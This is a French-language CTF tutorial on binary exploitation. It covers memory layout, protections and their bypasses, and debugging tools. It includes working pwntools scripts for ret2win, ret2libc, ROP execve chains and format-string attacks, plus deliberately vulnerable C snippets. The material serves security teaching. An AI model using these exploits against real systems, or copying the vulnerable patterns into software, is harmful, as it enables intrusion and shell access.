Binary Exploitation
L’exploitation binaire vise à détourner le flux d’exécution d’un programme en manipulant la mémoire. C’est le domaine “pwn” en CTF.
Fondamentaux — organisation de la mémoire§
Adresses hautes
┌─────────────────┐
│ Stack │ ← Variables locales, adresses de retour, paramètres
│ (croît ↓) │ ESP/RSP pointe vers le sommet
├─────────────────┤
│ ... │
├─────────────────┤
│ Heap │ ← Mémoire allouée dynamiquement (malloc/new)
│ (croît ↑) │
├─────────────────┤
│ BSS Segment │ ← Variables globales non initialisées
├─────────────────┤
│ Data Segment │ ← Variables globales initialisées
├─────────────────┤
│ Text Segment │ ← Code exécutable (lecture seule)
└─────────────────┘
Adresses basses
Stack frame§
Appel de foo(arg) :
RSP → [ données locales ] ← variables locales de foo
[ saved RBP ] ← ancien base pointer sauvegardé
[ return address ] ← adresse de l'instruction suivante dans l'appelant
[ arg ] ← argument passé à foo (ou en registre en x86-64)
Protections modernes§
| Protection | Description | Bypass |
|---|---|---|
| ASLR | Adresses aléatoires à chaque exécution | Fuite d’adresse (leak) |
| NX/DEP | Stack/Heap non exécutables | ROP chains |
| Stack Canary | Valeur secrète avant l’adresse de retour | Fuite du canary |
| PIE | Position Independent Executable (ASLR pour le binaire) | Fuite d’adresse du binaire |
| RELRO | Sections GOT en lecture seule | Cibler d’autres zones |
# Vérifier les protections d'un binaire
checksec --file=./vuln
# ou avec pwntools
python3 -c "from pwn import *; print(ELF('./vuln').checksec())"
Buffer Overflow (Stack)§
Principe§
// Code vulnérable
#include <stdio.h>
#include <string.h>
void vulnerable() {
char buffer[64];
gets(buffer); // ← gets() ne limite pas la taille → buffer overflow
// ou : strcpy(buffer, input)
// scanf("%s", buffer)
}
int main() {
vulnerable();
return 0;
}
Stack layout avant overflow :
[ buffer[64] ][ saved RBP (8) ][ return addr (8) ]
Après overflow avec 80+ octets :
[ AAAA...A ][ AAAAAAAAAAAAA ][ NOUVEAU RETOUR ]
↑
On contrôle ici → RIP = adresse arbitraire
Trouver l’offset§
# Générer un pattern cyclic (pas de répétition)
python3 -c "from pwn import *; print(cyclic(200))" > pattern.txt
./vuln < pattern.txt
# → Segfault, RIP = valeur du pattern
# Trouver l'offset correspondant
python3 -c "from pwn import *; print(cyclic_find(0x6161616c))" # offset = 76
Exploit simple — ret2win (sans ASLR/PIE)§
from pwn import *
elf = ELF('./vuln')
p = process('./vuln')
# Adresse de la fonction win() à appeler
win_addr = elf.symbols['win']
offset = 76 # trouvé avec cyclic
padding = b'A' * offset
# En x86-64, parfois nécessaire d'aligner la stack (ret gadget)
ret = 0x401234 # adresse d'une instruction "ret" (pour aligner)
payload = padding + p64(ret) + p64(win_addr)
p.sendline(payload)
p.interactive()
Ret2libc — appeler system(“/bin/sh”)§
from pwn import *
# Si ASLR est désactivé ou si on a une fuite d'adresse libc
elf = ELF('./vuln')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# Fuite d'adresse puts (pour calculer la base libc)
p = process('./vuln')
# Gadget : pop rdi ; ret (pour passer le 1er argument)
pop_rdi = 0x400693
# Étape 1 : fuiter l'adresse de puts dans la GOT
payload = b'A' * offset
payload += p64(pop_rdi)
payload += p64(elf.got['puts']) # argument : adresse GOT de puts
payload += p64(elf.plt['puts']) # appel à puts
payload += p64(elf.symbols['main']) # retour à main
p.sendline(payload)
p.recvline()
leaked = u64(p.recv(6).ljust(8, b'\x00'))
libc.address = leaked - libc.symbols['puts']
log.info(f"libc base: {hex(libc.address)}")
# Étape 2 : appeler system("/bin/sh")
bin_sh = next(libc.search(b'/bin/sh'))
system = libc.symbols['system']
payload2 = b'A' * offset
payload2 += p64(pop_rdi)
payload2 += p64(bin_sh)
payload2 += p64(system)
p.sendline(payload2)
p.interactive()
ROP Chains (Return-Oriented Programming)§
Technique pour bypasser NX : enchaîner des “gadgets” (séquences d’instructions se terminant par ret) pour construire une exécution arbitraire.
# Trouver des gadgets dans un binaire
ROPgadget --binary ./vuln --rop
ropper -f ./vuln
# Gadgets utiles
pop rdi ; ret → charger un argument dans rdi
pop rsi ; ret → charger un argument dans rsi
pop rdx ; ret → charger un argument dans rdx
syscall → effectuer un appel système
ret → aligner la stack (padding)
ROP pour exécuter un syscall§
# Appel système execve("/bin/sh", NULL, NULL) via ROP
# execve → numéro de syscall 59 (0x3b) en x86-64
# Registres : rax=59, rdi="/bin/sh", rsi=NULL, rdx=NULL
from pwn import *
elf = ELF('./vuln')
rop = ROP(elf)
# Pwntools peut construire la chain automatiquement
rop.call('execve', [b'/bin/sh\x00', 0, 0])
# ou manuellement :
rop.raw(pop_rdi)
rop.raw(bin_sh_addr)
rop.raw(pop_rsi)
rop.raw(0)
rop.raw(pop_rdx)
rop.raw(0)
rop.raw(pop_rax)
rop.raw(59)
rop.raw(syscall_addr)
payload = b'A' * offset + rop.chain()
Format String§
Principe§
// Code vulnérable
char buf[128];
fgets(buf, sizeof(buf), stdin);
printf(buf); // ← Devrait être printf("%s", buf)
printf("%x %x %x") lit les arguments suivants sur la stack
Si l'utilisateur contrôle le format :
printf("AAAA %x %x %x %x %x %x %x")
→ Affiche des valeurs de la stack → fuite de mémoire (stack leak)
printf("%n") écrit le nombre de caractères imprimés dans l'adresse pointée
→ Écriture arbitraire en mémoire
Exploitation§
from pwn import *
p = process('./vuln')
# 1. Fuite de mémoire — trouver la position de l'input sur la stack
# Envoyer "AAAA%1$x %2$x %3$x..." et chercher 41414141
for i in range(1, 20):
p.sendline(f"AAAA%{i}$x")
output = p.recvline()
if b"41414141" in output:
print(f"Offset : {i}")
break
# 2. Fuite d'une adresse spécifique (ex: canary à l'offset 7)
payload = b"%7$p"
p.sendline(payload)
canary = int(p.recvline().strip(), 16)
log.info(f"Canary : {hex(canary)}")
# 3. Écriture arbitraire avec %n
# Écrire 0xdeadbeef à l'adresse target_addr
target_addr = 0x601028
payload = fmtstr_payload(offset, {target_addr: 0xdeadbeef})
p.sendline(payload)
Heap Exploitation§
Use-After-Free§
// Code vulnérable
char *ptr = malloc(64);
free(ptr);
// ptr est toujours utilisable → Use-After-Free
strcpy(ptr, user_input); // Écriture dans un chunk libéré
// Si un autre objet occupe maintenant cet espace → corruption
Heap overflow§
struct Chunk {
char data[16];
void (*func_ptr)(); // Pointeur de fonction
};
// Si on peut déborder de data → écraser func_ptr → exécution arbitraire
Outils§
# GDB avec peda/pwndbg/gef (améliore l'interface GDB pour le pwn)
gdb ./vuln
(gdb) run < payload
(gdb) info registers # État des registres
(gdb) x/20wx $rsp # 20 mots en hex depuis la stack
(gdb) x/i $rip # Instruction courante
(gdb) b *0x401234 # Breakpoint à une adresse
# pwndbg (plugin recommandé)
pwndbg> cyclic 200 # Générer un pattern
pwndbg> cyclic -l 0x61616168 # Trouver l'offset
# ltrace / strace — tracer les appels
ltrace ./vuln # Appels à la libc
strace ./vuln # Appels système
# Désassemblage statique
objdump -d ./vuln | grep -A20 'vulnerable'
gdb: disas vulnerable
# Décompilateur (Ghidra, IDA Free, Binary Ninja)
# Ghidra (gratuit) : analyse statique complète avec décompilation en C
pwntools — template de base§
from pwn import *
# Configuration
context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'info'
# Connexion (local ou remote)
# p = process('./vuln')
p = remote('challenge.ctf.com', 1337)
elf = ELF('./vuln')
# libc = ELF('./libc.so.6') # Si fournie
# rop = ROP(elf)
offset = 76
def exploit():
payload = b'A' * offset
payload += p64(elf.symbols['win'])
p.sendlineafter(b'Input: ', payload)
p.interactive()
exploit()
Recette par scénario§
Protections absentes (ASLR off, NX off) :
→ Injecter un shellcode dans le buffer et y sauter
NX activé, ASLR off, PIE off :
→ ret2win (si fonction win) ou ret2libc
NX activé, ASLR activé, PIE off :
→ Fuiter une adresse libc via puts/printf, puis ret2libc
Canary activé :
→ Fuiter le canary (format string ou info leak), puis overflow normal
Tout activé (Full RELRO, PIE, ASLR, Canary, NX) :
→ ROP avancé, fuite d'adresses multiples, ou vulnérabilité heap—The Gardener